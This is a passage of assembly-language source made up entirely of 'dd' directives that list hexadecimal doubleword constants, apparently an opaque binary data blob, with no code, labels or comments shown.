0F9B63C35h, 19C24309h, 0DAF36E03h, 0DC6798E9h dd 4A02248Ah, 699B635Ch, 10546057h, 0FA1675C9h, 3AC77036h dd 3240D09h, 5CED00D0h, 2B01BEA4h, 0BC1EF672h, 7E80B96Dh dd 8DDC9664h, 0B4C33BF1h, 62EF3480h, 0B14447A3h, 8AA5E11Fh dd 4B00F1E6h, 6D0B5BBBh, 72C53AE7h, 625FB400h, 0C4262F54h dd 0D191CD00h, 0C765328Dh, 35B72E75h, 7751006Bh, 0CE548E87h dd 79918C00h, 998466CCh, 0ED9002B6h, 0EB53D56h, 0DCA2FC40h dd 3E5A8C1Eh, 0FB40078h, 3F5F4F18h, 21B36045h, 0F1874B39h dd 33991F00h, 0BB142C5h, 74A40089h, 0C85F7578h, 0D5027F4Eh dd 696C5827h, 0F5B260D1h, 7C1603BDh, 420911C3h, 82F94E90h dd 0CE00D773h, 255ACCADh, 10C324Ah, 530FE001h, 0E46D873Ch dd 2D006AA4h, 0D6645E42h, 8B717Fh, 80CCEDB2h, 79AB862Ch dd 0D5A6020Eh, 0DFFC0A3h, 3F2ED6h, 82DC8F8Ch, 9F6E5C0Bh dd 0C4ECAA00h, 0A377FE1Ah, 0E46D0083h, 0F881A160h, 3B004228h dd 0B48BFD1Fh, 3073EECh, 0E5E43583h, 0D6A0D3BEh, 0B9002B34h dd 0B5AD27Bh, 2F5A9h, 0B00C4465h, 6DD456C9h, 3759AF00h dd 29B2D7D5h, 0E3463E7Eh, 11C6213h, 52432464h, 4A2F6086h dd 50A6EF12h, 0F1804Fh, 0CDC2C8D1h, 224900C0h, 9661AB1Bh dd 0FC00094Eh, 212BC578h, 85DCE1h, 385EF5B9h, 4E7215B8h dd 1E67D602h, 0E8FBBD12h, 7489990h, 51F5C911h, 0B0B5C079h dd 8D07D45Ah, 22CDD9FEh, 834D15E0h, 55C807A1h, 0F02C2839h dd 90D027FBh, 6F1CE3ECh, 0C800FAC7h, 34C38A53h, 525F007Eh dd 43A19F3Fh, 0A03A6189h, 0A6F6AE9Bh, 12771301h, 0DC80E28Dh dd 5E01AF69h, 2E0F46E5h, 80D859E3h, 671D0407h, 0B55600C4h dd 0DF7F8679h, 223BC233h, 0E166003Fh, 0D0EFD481h, 6C200016h dd 0E38C9841h, 0C307B495h, 54B04A0h, 0CCDAFFD0h, 4D6100CEh dd 5CCF168Ch, 9B008ED8h, 7279D108h, 0FE9394h, 5DF65356h dd 4CF8EDF4h, 6409CC00h, 0A79010BEh, 6340002Bh, 7DDA7898h dd 0C07A3A8Bh, 0E94D1A28h, 9130EE00h, 47D8C37Bh, 58B60029h dd 7C8C54CDh, 7F00C079h, 7434AA9Bh, 0B2250Fh, 299FC117h dd 80A6832Ah, 0DB6D5209h, 0F61F0104h, 0AF19D3Dh, 7FCC3E8h dd 9B2CCBAAh, 0C0793460h, 51AEA21h, 428A201h, 7C5B8FB9h dd 1D5D6F8h, 471E2A84h, 51BAC54Eh, 0D487F7DCh, 21C0E66Dh dd 6F2E4762h, 0EA042427h, 0F3100054h, 0A3976DB1h, 0F76C6300h dd 6FE5AD50h, 0E20400FFh dd 0B8DB921Bh, 0CE007912h, 0EF592468h, 7E022220h, 8CB400B1h dd 32106433h, 210013C1h, 0B2D89F46h, 15A879Bh, 0DD84F307h dd 700B4F90h, 5006FA6h, 366C650Ah, 0DC53EBh, 0C5540879h dd 6D3ED030h, 7600E977h, 0F1D9D3E1h, 0E2D8360Ch, 0D6F046h dd 0F5375761h, 66E8891Fh, 7D0DE703h, 0E830DAFEh, 3EACD85h dd 13B637A4h, 2E983AA3h, 0B002330Bh, 5C8886D8h, 0D60C4097h dd 95B81CC8h, 45630037h, 0B307BC09h, 467DC500h, 0A86A097h dd 0E96F3F2Bh, 4C7A020Eh, 7CFEE201h, 4B50C4E5h, 83DE6700h dd 0EEBA4940h, 0DAB70006h, 5C275660h, 5A0F3F9Ch, 52678B3Bh dd 0BA2BFE00h, 7769AAh, 3ACAE1E9h, 8F440B09h, 852F3Bh dd 0D17FDBCCh, 7D7C51h, 0C03E1DFAh, 41555E6Ah, 3C836100h dd 6F280C86h, 0F15B0085h, 7398E5BFh, 3D3C312Eh, 0E0028BEAh dd 0A830802Dh, 0D10486h, 85BEBD0h, 0ADC29573h, 364E561Eh dd 0B26AB50Ch, 0F2BB0050h, 2FF8D4CEh, 750F966Bh, 0E35F14C0h dd 0A82A0430h, 0A661E7h, 1A41ECB1h, 0B48823F4h, 6A1FCF00h dd 0F1372F05h, 5BFC079Dh, 9BEA4CD0h, 0C2543C00h, 59003947h dd 0A7807D9Eh, 0E60AFDCh, 85D10DE3h, 1A4544E1h, 6204DCE8h dd 0D29B7509h, 0DDA1805Eh, 3C249868h, 4F8061B1h, 3A0FD648h dd 0E0765754h, 0FADD9B00h, 7A94E5E3h, 440A26CCh, 0BEB518D9h dd 51EA61A6h, 7279500h, 0FB4BC824h, 88530A06h, 0AF993Dh dd 57348AB4h, 1C005E46h, 0D3CB6665h, 3ED89795h, 31802030h dd 526AEE7Ch, 0A91F4950h, 55C18CD1h, 0BD0A06E5h, 7F87B70h dd 4A40F423h, 0D07E0D7h, 4C038DB1h, 5A6DEDD8h, 0AE7ED10Eh dd 1BC73D8h, 2C8FAC56h, 61BB117Bh, 6B980E6h, 0EA4509B2h dd 836007C9h, 93DE7357h, 0C1A02DAEh, 121F15CDh, 4C00FCEFh dd 0F7CE700Fh, 0C66C03DCh, 6DB34875h, 8A2E29D8h, 9D73931Ch dd 5F1DECDFh, 0E2DCE940h, 0D59EB9h, 0D02C430Bh, 93A81336h dd 68913900h, 0B88DF621h, 297F0022h, 0B062D3Ch, 6302C627h dd 0C3B654F7h, 5EAAC057h, 0D19012A5h, 9301EEDDh, 3DACE77Bh dd 0F69DD8h, 58D42A28h, 4993E323h, 0E1FA4500h, 94F598D6h dd 847700F7h, 0A787A180h, 0C63EF1EEh, 9272806Ah, 162AB005h dd 0EB4C0085h, 757C738Ch, 0C70E6CEFh, 0C0CEA545h, 2B95B565h dd 5C9A05BDh, 843B0E12h, 340DC05Ch, 0D2016F5Ah, 167C5982h dd 0E3FC0B07h, 0C2D404CFh, 0C0A2D184h, 2C3C0E55h, 42881D00h dd 0CB69E560h, 0F3BD072Eh, 0AB8FFBh, 0C7E43C24h, 0CC99FD03h dd 88ED0457h, 1734BF70h, 0C0EB8C1Bh, 94DA6B28h, 0E7AE0101h dd 6C9AF207h, 8291F4h, 1B7D73CFh, 2294F988h, 0B73EF0A8h dd 0B11C8900h, 672C3940h, 973500FDh, 63F504E0h, 573C9D0Fh dd 0C01E0086h, 0C3624320h, 88A003F4h, 28FE6495h, 70E941C9h dd 0E70076D9h, 0C160AAD2h, 18432549h, 18EE6F8Fh, 6A004709h dd 0F1648630h, 3592798h, 83F22DCBh, 0A2B0084Dh, 0B300732Ch dd 0A8507855h, 0D895B4h, 0FEB0E2C7h, 607961DBh, 337AED00h dd 0A57D54BDh, 1D23003Ch, 0D85F3FE5h, 0F9006280h, 40B727FCh dd 64E651h, 4E2A758Eh, 8B93C2A6h, 0A7017A70h, 0A203A53Ch dd 80F2968Dh, 1536A0A4h, 7D77220h, 0D495DAD2h, 3535FFh dd 0B9E73D94h, 1E007E74h, 6E8E9B49h, 3EDC845h, 8192699Dh dd 0FD0D1A6h, 0F9077419h, 32CF7797h, 0D92704E7h, 30796B00h dd 0C87E00A7h, 71CABEF6h, 240014CBh, 0FF099892h, 2FBB8Ch dd 2181B823h, 8E259C7Eh, 8F835F00h, 87604FDh, 0FE6F39D7h dd 0F3F13980h, 18C899Fh, 6400917Ah, 0C24177F8h, 0B8947AC7h dd 9D7C0212h, 186D7D09h, 8E9FB1E0h, 0C4231B00h, 4A7785Bh dd 0A2190C3h, 0F9DF97B2h, 0F0361887h, 28128A35h, 0A040A764h dd 9BDFB961h, 0D80A00FDh, 106CC0E3h, 0AF0276E1h, 7D411829h dd 1DF4808Ah, 1B95431h, 52673B5Bh, 0F048A4F2h, 6026B859h dd 2581FCC0h, 0DB42BA30h, 3DF438DCh, 760084FEh, 996D97A4h dd 1301EDABh, 1046B1EEh, 0D5D492FDh, 0DE5E04B4h, 80FA062Ch dd 83F7FF44h, 86AA2205h, 86804A6Ah, 364DCEBh, 1EEC9DB0h dd 2CC8C745h, 0E004A7D1h, 17D3AFC4h, 9503C480h, 54AA0088h dd 84F9E9CEh, 0CB005F73h, 6FA16793h, 39E1BD06h, 1C004AD1h dd 0A7C5839Ah, 544D1389h, 0C62013FCh, 0AD12E040h, 1CABB4EFh dd 80A5264Ch, 8D8BB6E5h, 380066DAh, 556D75D1h, 0E8F3B1AEh dd 5AE7002Ah, 0C979B662h, 0E07CF67h, 0B50F71CEh, 0B36A510h dd 0BC28CAF4h, 0C54502A4h, 0CD84EA35h, 7DD880BAh, 0C900CE94h dd 22B1202Ah, 9EE47Ch, 5A5C7D4h, 89291538h, 411C40FEh dd 0E72820CDh, 0C23FA900h, 0D7E81318h, 3BF40076h, 63374CDBh dd 2E00B901h, 0DF7BA15Dh, 39998h, 937E250Eh, 9BED41CBh dd 2B58B7h, 4A907509h, 0F115633Eh, 91EF0500h, 8710C68Ch dd 0ACE6AFh, 0F454D6DFh, 39B3C224h, 8F5B4C00h, 155D3CC0h dd 0A3AE3D81h, 0C53FBD80h, 0A1846409h, 8BC4882Ch, 0ED96C700h dd 60A7CAA9h, 0CF370E66h, 31620D1h, 4403338h, 0AC9BF844h dd 18A03B6h, 0C049FB84h, 46BCC588h, 384ABB00h, 63EEC7A7h dd 171F008Fh, 2369D6Bh, 9C00FA9Bh, 0E78A316Ch, 0F00F7Bh dd 1DA63C52h, 9DFE37B3h, 0D4104E06h, 3C11D37Eh, 0BE3A1446h dd 66003820h, 5CA4BA13h, 6CBC74C2h, 0B7982818h, 63D25400h dd 40892D4Fh, 0C927981h, 5311EFD4h, 510FFBB8h, 0FFF2C434h dd 0FC5D311Dh, 0A34D4280h, 7C0B45A1h, 0F1300941h, 0AEDE825Fh dd 9AA42E00h, 801F97h, 72984912h, 144439F3h, 968CDA00h dd 0D9A45BB2h, 0DF610091h, 4121721Ah, 0DD0082D1h, 84F21D35h dd 17AF62Ah, 68815643h, 0E02B08BFh, 891C3FC0h, 62C35F0Eh dd 0F13EDB2Eh, 0D7706C4Ah, 0B44700E9h, 0FB821454h, 5E16E309h dd 200E1823h, 0DA2720A6h, 0E128EB2h, 1016BBC8h, 0FEE8D08Ch dd 28D57900h, 70D97E7h, 81BB0748h, 0D36947CEh, 0F3E0759Fh dd 4E6E709h, 0B7E85700h, 1DD11381h, 16EE0518h, 43692211h dd 0CCC1A4ACh, 3FC2CE88h, 0B2B6D414h, 0E89A24A0h, 0E7D8768Fh dd 0D150C502h, 2FEA69A6h, 4D587B9Eh, 89035C7Ch, 22A125A0h dd 6C12435h, 13C40509h, 6BE04084h, 19C6DDCh, 3B12C006h dd 4D08F003h, 0C1138C8Fh, 0DCA70081h, 5D46AF3Ch, 0AA759C06h dd 7F8941F9h, 4408C06Fh, 0F5FF3D8Eh, 0C4008F7Eh, 0BDA9DC35h dd 1AC0A60h, 599BE7Dh, 86E6470Eh, 1AF5E5F8h, 4D610C90h dd 0FDA8AEC5h, 0A280300h, 0C89B0E2Eh, 0F381486Bh, 90102500h dd 0C49F2FC6h, 0F0022E0h, 3847088Ah, 3DD4181h, 0CB757B06h dd 0C600673Eh, 17A9DE8Fh, 2C3473Dh, 2F1B37BEh, 1F60B416h dd 0F03035CAh, 9B173076h, 395F04C5h, 81C03FF4h, 0F03D8AE0h dd 0D0F3553Bh, 27788676h, 0B5E79802h, 776A4E61h, 0D2B8ADE0h dd 0CB73531Ch, 0CA9E22C6h, 0BC760650h, 0E2DE072Fh, 0D57FED06h dd 0F2602C3Fh, 1BC87EF2h, 8078741Bh, 3AC59B8h, 81C45F3Eh dd 5C91D506h, 0D8C4F5E1h, 7C15007Bh, 0A20AFEC2h, 70F930C6h dd 0CA05423h, 3600988Ch, 9FA4C439h, 19C3A851h, 0E11806A1h dd 94E0F602h, 47003FECh, 0FE7462E0h, 0E96C140h, 811FE5F8h dd 766EAEA7h, 0AC48F144h, 82037F95h, 0B73DF3BCh, 0B60CA02Dh dd 53673DECh, 44188CBEh, 2FC311DBh, 1C196B07h, 0B3F0C89Dh dd 0D064FCh, 0CDAD1B38h, 39F165E8h, 27CA48h, 41B7B23Fh dd 1EB91394h, 0C0CFEF0Fh dd 1E786989h, 2D011443h, 0B47C723Eh, 0BBDC03C8h, 0BCAC1D1Bh dd 9E2E01h, 93273315h, 2A189657h, 37288A09h, 478D00A1h dd 6CE0DFF1h, 0AE00C9D5h, 0D6C5946Ah, 2432BF08h, 0C351AAh dd 2C9181FFh, 5C3CCDDAh, 0E297000Ah, 3C3596D3h, 4103003h dd 6E08C8A8h, 0EB5C760Fh, 442FC054h, 3A10ACFh, 0FE4398ACh dd 0BFE05521h, 9E00CB96h, 148F3262h, 1BEA690h, 64ACDDEAh dd 0E019380Dh, 361825D2h, 3EB0B9B1h, 1920007h, 97FEE618h dd 19DFBB7Ch, 52CDB283h, 0A660C0B3h, 0C0BC80B5h, 0A9773Eh dd 42EDF3ABh, 0C716FF33h, 0C61C91A8h, 0B175684Bh, 872EC400h dd 1D94E62h, 2F963247h, 4BFA510h, 5EB7FE06h, 0E1480010h dd 7A1F68D7h, 0A00D8E7h, 385A2AECh, 0BBDD9Fh, 0A02E7709h dd 7318B6F1h, 0ABDA0A00h, 6B7D43Ah, 0C62300C5h, 5EE4CDCCh dd 3148CB33h, 150F0018h, 0B007D9F6h, 29FC0018h, 33A68B4Fh dd 0DE00385Fh, 868756EEh, 0D26559h, 0E825C103h, 62EFCB20h dd 0AFE5EB00h, 0A1882A61h, 829D0019h, 0B6131BD1h, 2100830Ch dd 1D7257D3h, 1810BEBh, 3BD46AB7h, 43145995h, 6000F396h dd 68E7A566h, 508292h, 0EA48BE8Fh, 0CDC59DFh, 4EE56D00h dd 0A2ED84D8h, 0B757006Fh, 0A65F819Bh, 4500B114h, 6DB6563h dd 0B46BF2h, 6AC31D71h, 992D60C0h, 0DB6E5Ch, 72533EF7h dd 78968574h, 63B000EBh, 3F1BEA23h, 250F3B98h, 60C59944h dd 7EA76E80h, 0DBD60001h, 0F145C4AAh, 1C1F9F35h, 9680086Dh dd 59B3D5Ah, 3BAC005Bh, 7E346B2Dh, 0E500C6E9h, 4DC22592h dd 5D5B6h, 647AA465h, 9B99869h, 0F0A095F6h, 2700CBF6h dd 0A872E1A2h, 7ADC5E05h, 6AB301C0h, 0F7E2A60Ch, 9DE8DC41h dd 0F783900h, 0E496A0D8h, 17590094h, 0C7D5E961h, 0B30E6F07h dd 0E078B87Ch, 2F62BCDEh, 0FB87005Bh, 0CD9CF767h, 0D1289C6h dd 2C40240Bh, 3ED0A36h, 0EFA10032h, 0FA859F4Eh, 6E1FF2FDh dd 2B80E4A8h, 757DFE92h, 2B5009Bh, 4CB4958Dh, 0C93DE1D9h dd 0B27280A5h, 1C6C55F6h, 40E63E1Dh, 0CE96BA00h, 0C8F7324Dh dd 5AF4E200h, 7FE7FCE8h, 73FFAD9h, 0DF1C2236h, 0A85890ADh dd 79005307h, 989F6887h, 7DBC88h, 0EA9BFDAEh, 0FA967322h dd 0E3A0A6E2h, 0B01D3BC3h, 818019B5h, 0D72C68B6h, 0FA4F3B85h dd 0E984790Eh, 0CC032169h, 93F00D51h, 0A5036330h, 0FE421CE2h dd 0A18BC81Fh, 0BD990090h, 0A41EBED8h, 7100EFF4h, 0A164D13h dd 0E88E1ABh, 0F627E945h, 258C8BA0h, 4B0FC765h, 0E0BA4663h dd 29579E8Eh, 41EA021Ch, 37B4B99Dh, 1D6FDC48h, 912C01ECh dd 3B398775h, 0DAEA0088h, 0D3FBFE9h, 74C703CEh, 21EB8504h dd 1F399A0h, 1F809200h, 0F4A11210h, 0CFF21C0Fh, 0E1D6CAAEh dd 0F1E80F9Ch, 0B0D1C307h, 64619D04h, 42CA6F00h, 0ED98C79Bh dd 0DB7600ADh, 0BE485BB7h, 0FC00EE7Ch, 36450D50h, 3CAEBCCBh dd 2F261D9Dh, 0B9A88058h, 525E78D4h, 93C9C70Eh, 2D00D2E1h dd 25635BCEh, 0EEC53DBFh, 1D0C08C8h, 767153E2h, 802A4839h dd 0FC2CBD04h, 0EE7B3Ch, 1911E750h, 40577DF9h, 23692B12h dd 806F940Eh, 50B0CC44h, 8DE66Bh, 115F067Ch, 0CD89BB56h dd 48E44D18h, 0E35A58h, 0B392647h, 0E8C39A8Eh, 5E6DDD1Dh dd 11C08079h, 0D3CE687Fh, 3B52FC51h, 63FAE661h, 92D5205Fh dd 0FA95C0E0h, 0FC0087ECh, 376CD136h, 3F126273h, 53141094h dd 2200D49Ah, 67E66EA5h, 0DD00EF01h, 86FB06DAh, 0E889FF54h dd 0DB4F03C9h, 0D52A65Eh, 53140203h, 0CBBDF3E6h, 65DEE0D4h dd 5E0F0067h, 51996D2h, 0A4127CAFh, 8005B54h, 14C5113Eh dd 0CC080066h, 52DBC04Bh, 0BB00288Dh, 0A1AFA62Dh, 78FB6D63h dd 0A7D000D5h, 6A8AB1A0h, 4C032BECh, 2FD1E1F5h, 0A61802A8h dd 99B8FF4Eh, 606C5855h, 0B3D2F2A5h, 0C01F6EC9h, 2BC0D1A9h dd 0AD9EBA47h, 2CC1004Fh, 6D9F9BF2h, 0A4FC2186h, 0F8ACE400h dd 745BEA3Fh, 1F7F07C3h, 0ECE726F7h, 220E6F91h, 0E8F50812h dd 874D015Dh, 0E9A34C18h, 4875CCB5h, 770044F2h, 0DBE65755h dd 8570A8h, 0A469CBC3h, 0B2E5F46h, 0D710FF0Eh, 281FA3A7h dd 0E11D685h, 6423570Ah, 13B1BD80h, 4008770h, 66418B27h dd 0C0C7DA83h, 21D6C970h, 810030ADh, 496BD9B9h, 6DD13Dh dd 0D3A43E5Ah, 718F059h, 2B7FDE01h, 834C471h, 2C535DECh dd 0B7FA0C2h, 0A680DDA4h, 4F75D3CDh, 43F1C901h, 69A07F9Ch dd 0B0E165DCh, 0D2E20090h, 522B2290h, 2A00F9F0h, 0E5A146C1h dd 58B65Eh, 5975D95Ch, 8BBF4C0Ch, 0AFEF4Ch, 74FFE09Bh dd 1D0BE33Dh, 0C02410E5h, 391FEACAh, 0AC7B9C29h, 1621B11Fh dd 4F42C8C0h, 827483h, 8BF70A9Fh, 25497C1Eh, 0F6A0900h dd 120CEF7Eh, 4C621631h, 0B5DA0047h, 0C64EA9D8h, 4552390Fh dd 435507D7h, 5B737DC0h, 624639A2h, 0EBE8760Fh, 9C6432C0h dd 8B00C3F2h, 5F7B5421h, 26F92Dh, 0E0F8DFA5h, 53130DBh dd 0C50AE416h, 1857B407h, 4DAE7480h, 21FC48h, 0CECDEB7Fh dd 1C8CFB76h, 30868800h, 584C36E7h, 0FED3A0C1h, 9E70DEh dd 0CD5C4B08h, 49658E28h, 2903F5E6h, 0BA942E62h, 0EB60F03Dh dd 0C526390Eh, 19CB6A00h, 5F905EEEh, 7A755003h, 0D0ADC94Ah dd 72E7401h, 84D1F38Dh, 1CE6D0EBh, 570FC1DCh, 474BE03Eh dd 51476B3Ch, 304095F0h, 0E44800CCh, 0C27CA1Ch, 6A3F85EDh dd 2BA6819Fh, 0FA809B94h, 0E0F6024h, 0DF12A795h, 66008649h dd 0A0072026h, 0CA45C11Ch, 2ED62980h, 2832B8h, 7F76662Ch dd 30A80D4Ch, 0F4C95B00h, 32C01B1Eh, 5C690036h, 76900E3Ch dd 0ED00F89Dh, 0BFAD40E4h, 1DEA809Ah, 104FF3h, 4C1951B7h dd 900BC7Ah, 6CF5B6D3h, 0F4E6CCh, 502BFFB0h, 0E86E6D19h dd 0CF068F7Ch, 0A351CB46h, 0D7EE38h, 162E9DDBh, 170F8B0Ch dd 6E470B00h, 3A36CA27h, 0B5EA7Eh, 2FCF28EFh, 0F7AB308Bh dd 32E15800h, 0C4FC6EB6h, 17A907C9h, 5051DC55h, 78E28B0Eh dd 0CC3D7FFEh, 42928389h, 0C5F4E7h, 18E5DBF4h, 97B10D17h dd 2200AC71h, 8E50DDB3h, 1FBA9B19h, 89C3A845h, 0FF4F0Ah dd 37992254h, 0FCB0018Dh, 343AEBAh, 382CC061h, 0F8DC9F00h dd 0F4019096h, 523C00AAh, 0B037AD73h, 0E4015D13h, 0D6E21E69h dd 80818F23h, 6503332Ah, 45DE424h, 5FB96700h, 3B3F4D7Ch dd 63821FE9h, 93068074h, 5E4A71C8h, 8EC02200h, 8834F015h dd 979900F4h, 37B2FA78h, 0E5004F95h, 0DE860840h, 0C57B0Dh dd 161E3BFFh, 1B5B1FA4h, 3ECAC700h, 8F089128h, 44364DECh dd 71197A00h, 5520BEFFh, 1CBD1726h, 9B924303h, 91CEC0E3h dd 9C4C3A5Bh, 0F73EA400h, 13454AECh, 542B930Eh, 4D6E00D8h dd 0E373B0Eh, 0F1C035CFh, 15F0A8CAh, 4C29F445h, 0D58D704h dd 84CE4897h, 13582B00h, 7BAF9835h, 2608C74Ch, 424D568h dd 0D84B0D03h, 4128080Ch, 5F0834EAh, 0C30188D9h, 88E4E788h dd 22BFFE02h, 1A5822C1h, 39180342h, 0D6C77944h, 24C4E28Bh dd 0E2C4279Fh, 42C00B44h, 494BEE7h, 0E84821FBh, 148F2F12h dd 0D75132BEh, 83A61481h, 10130232h, 7388D35Fh, 3C788E5h dd 0F73341h, 9AA36A1h, 0A07892A4h, 706D1204h, 0FEC07C23h dd 1F105B28h, 4BAAF2Fh, 0C0F957C8h, 60DFDAC9h, 0BF90D600h dd 0BCCD796Bh, 8DB10093h, 8B252955h, 8200CEFDh, 3099B6C2h dd 178982Dh, 7A8A891Bh, 0DC5717E0h, 8F005320h, 6D02D055h dd 4031E99h, 2B974544h dd 0E340C0CEh, 8D003672h, 5393E609h, 0F3836Fh, 0F9017843h dd 0F8BC0747h, 0B5E0A00h, 9731193Fh, 0EE080055h, 91E7843Ch dd 0FFFABE13h, 292A0400h, 34D0BAF9h, 0A2B8F3h, 6C85BB77h dd 0AF60A1FEh, 2D654C01h, 0E670D403h, 776B7FCh, 5BE4A2C7h dd 14C590D2h, 0DF17D78Fh, 0BBF389Ch, 0D821EC53h, 0F487030Bh dd 0CA0035F2h, 3B125F64h, 7BED4h, 227FEDAAh, 0CB9C3C73h dd 99FEBA03h, 88808272h, 0F9FA15h, 0A6D26E9Fh, 2E0B2233h dd 2FCEE000h, 8680113Fh, 0AF79065Ah, 70C4A1B4h, 996CE100h dd 0B738544Ah, 8A390056h, 2773D1Ch, 5A00EE12h, 0CA6B8926h dd 0F6D805Eh, 9E9AB4F5h, 0A3AEDFA0h, 0D500BC5Bh, 1B2F859Ch dd 24497D65h, 8000DA79h, 54FF1972h, 440060A4h, 5B15B320h dd 63D923h, 0E069EFF9h, 25B1ECF3h, 85AE1F02h, 0E0303846h dd 6DD513h, 4AC7CB84h, 0ADAFAB8Fh, 281AB618h, 0F822EFBEh dd 17700076h, 1BA2905Ah, 0F012463Eh, 2D0044BFh, 368DAC5Dh dd 85B905F5h, 80F61ABAh, 3C7C81BCh, 52B03D00h, 746DC8B6h dd 0F7BE002Bh, 24BCB18Ch, 2008871h, 41875B42h, 0D2531Eh dd 9F6F333h, 0BACEC8B7h, 0CCE9A7B8h, 990676DAh, 0EA62BBE0h dd 238E0249h, 0CFC5B186h, 30B87BC0h, 1401FE00h, 65E7C187h dd 34BB0732h, 0BF25B3C7h, 6916B240h, 0CB000E9Ch, 2DBF6176h dd 7022CBEh, 9023E01Ah, 0EB9360D4h, 0DA03EDB4h, 34CEF5BBh dd 887097E9h, 0AECB63h, 0D760C54Bh, 8E0DDDFFh, 400E2977h dd 3F8CF454h, 35F57440h, 68CFC4h, 411CDA5Dh, 0EF91496Bh dd 21376600h, 0CF63581h, 0C9FEA0D0h, 0BAE00013h, 8F59A63Dh dd 0FF27958h, 65689700h, 98208396h, 0FB503E4Dh, 2DE17300h dd 22B1625Dh, 2CF9F700h, 3005111Ch, 0B04200B4h, 10BD84FDh dd 0EA076346h, 55761DD3h, 96703B40h, 0A8D40280h, 0A7219BFEh dd 248AE280h, 1A3B5A45h, 0E35D01DAh, 0CC6CD21Ch, 0B812E840h dd 7983006Bh, 0A81EA907h, 0D0004E7Dh, 47ED5045h, 130944F2h dd 0F9CCA5h, 1F925AB5h, 3400D172h, 0E0B9C94h, 2633E40h dd 0FAC70506h, 0E88066F6h, 6CE31B11h, 0D0B1008Ch, 204CB079h dd 3348D447h, 435E001Ch, 0CF3BA89h, 0EAE7EA5Bh, 0B64400B5h dd 0EA7EA8Fh, 253C8DD8h, 61798091h, 0D64ABFF4h, 600C00BDh dd 590915CDh, 8200DF4Bh, 254EB481h, 1DBFDEFh, 90C85C4Ah dd 0F81ADE8Ch, 0B6787AF1h, 8B1C7812h, 0FACB9800h, 3F295E3Dh dd 4700CCAFh, 7AA0326h, 2700680Ah, 3515443Ch, 10D254h dd 49E9E6FDh, 0BE74F05Bh, 83E83600h, 0A27F80DAh, 54B10032h dd 195D4B3Bh, 22E8B0F1h, 6BC5C31Eh, 5B8193DFh, 0D364EE2Ch dd 73475C8h, 0A5DC8B05h, 20ECE755h, 57398D1Bh, 0E5A2F400h dd 77E4A6Bh, 9E020087h, 0E2975CA7h, 0B60146ADh, 3E8CF5F7h dd 50601624h, 0F7C0051h, 61F0899Ah, 0B2006BF2h, 2BE374FCh dd 1CEB376Ah, 808E9460h, 3B912D7Ah, 45006675h, 0E63AFDA4h dd 307E98h, 58E28BA9h, 0D6E3DD59h, 0A2AD0A00h, 6DC5F512h dd 116400D7h, 0D3254D0Dh, 810F4E29h, 40EE57C7h, 0ECC6F09Ch dd 0DB7C0005h, 144AC111h, 0A612F8B1h, 0C0462C0Bh, 841E4Fh dd 0E65A9F9Ah, 0BBE1EDB2h, 226BDC00h, 0A51E59BDh, 2B693E76h dd 1C05C700h, 0CBF92542h, 915B7800h, 3AA5D7AAh, 1D2209EBh dd 7E01407Ch, 0C4C396A8h, 1E077420h, 57FCDE84h, 92E09FE7h dd 0FE50D11Ah, 2C640063h, 8D17370Dh, 4600BE20h, 0EAE9E5Bh dd 4422D0Ch, 0B879442Fh, 0CFC48012h, 8B00153Dh, 0D9D11FA7h dd 2F9862h, 326A1E95h, 2C515457h, 38F8A526h, 0D41B0039h dd 0B77C8A82h, 7D7A0085h, 0B559C3CCh, 5D001A0Eh, 14552AD0h dd 0A14B94h, 879777AEh, 50D9DAB1h, 2191F400h, 39DF2AE0h dd 0FD75007Dh, 677BE2CAh, 6E0EAD74h, 449DB1h, 0BB3809E4h dd 1AEB032Ch, 7F96F5F4h, 0AA333FD0h, 0C3B43503h, 904A6F79h dd 1771E4h, 0E832AF9Dh, 0C25DDB3Eh, 0E1CE3700h, 6C40880h dd 562907CDh, 90213270h, 3977F8D0h, 0A904B498h, 2736FA3Ch dd 0FB8CC080h, 0C9E4004Ah, 0C5982803h, 0FA7A84F8h, 7609BAFCh dd 90387D68h, 5C4B4180h, 2B000D9Eh, 0A6C53AB9h, 0FF016867h dd 3990631Dh, 19817304h, 0C213E686h, 981420EBh, 0DBA56700h dd 0CFD857BDh, 295160B6h, 467FF914h, 42731A00h, 0E1C09847h dd 667D2449h, 0F780380Fh, 605101BAh, 2A00D257h, 8FF6650Fh dd 8B076Dh, 0E3B5BCE1h, 462F7DE8h, 9974F200h, 4235335Bh dd 0D4AA3C70h, 8EF12E00h, 4CBD688Fh, 98018000h, 38A0432Bh dd 0A97273h, 402F9A7Dh, 0DA9FCD86h, 0B1FF471Eh, 7B106F00h dd 97DE1897h, 0B4D1E860h, 8CEBD200h, 4A73027h, 785A3EE8h dd 2200EF5Ch, 59B365BAh, 47FACD2Dh, 14ED5E00h, 7B3D2FA2h dd 87750B7Ah, 0F7005FE0h, 2B2515E5h, 0E6BB0602h, 8136A789h dd 38A97E98h, 4420AAF1h, 7EB009Ch, 0C7D9B6E2h, 0A800C081h dd 0F6FF4F5h, 39406Eh, 5572135Ah, 0F343891Ch, 8C11FA00h dd 0B2067825h, 5FE400A6h, 6484F99Eh, 0E71F2B51h, 5C9E0452h dd 4B05807Fh, 3EDC40F7h, 5A9C008Eh, 951C697Ch, 8209C7D2h dd 8761831Eh, 0EF6084F9h, 90A107B2h, 13F43A20h, 760BEE83h dd 6C88D573h, 0F0033DBEh, 0B272189Dh, 0A6C0909Ah, 0EF6E007Eh dd 3DE52339h, 0D3069E62h, 0AFB1043Ah, 1AE70020h, 76CA97D6h dd 0F458C8F1h, 1BF900E0h, 2ACFE4A0h, 0A1E007Bh, 0FDA625CBh dd 0AE0433B9h, 0F88BF6CCh, 43067E80h, 52F32849h, 0CC534C98h dd 0F0E96A03h, 0DCC01221h, 8F3DFD36h, 0ACAF2885h, 0DA86AA00h dd 417CC0DDh, 0CD753E02h, 0B164CA00h, 0B7365731h, 23E1B600h dd 6DAE8BC4h, 0C362001Fh, 6E0279EBh, 5F2E1417h, 0D812422Fh dd 22F9F800h, 0A5DFA8h, 658C451Bh, 6F446AD9h, 4F2A6C00h dd 0E90C9558h, 5D30F3D2h, 0A21B1D34h, 67F580DAh, 0B6538712h dd 94527D00h, 0D72D2511h, 3F890C2h, 0BC4F5795h, 6DD83D14h dd 4500E9DAh, 1A842428h, 1D47515h, 988B321h, 0E838A41Dh dd 9F1C2C98h, 4D802582h, 497CEC87h, 85B32818h, 14AAF4A0h dd 97EFAD5Dh, 40C72Ch, 0AF84E69Fh, 3E035FA4h, 0B76527F8h dd 46817CAh, 7F8C009Ch, 0D6FE090Dh, 51EF1307h, 52209274h dd 1C0CC2B3h, 9B1BE47h, 2480E55Ch, 0FCAD039Fh, 2FACD401h dd 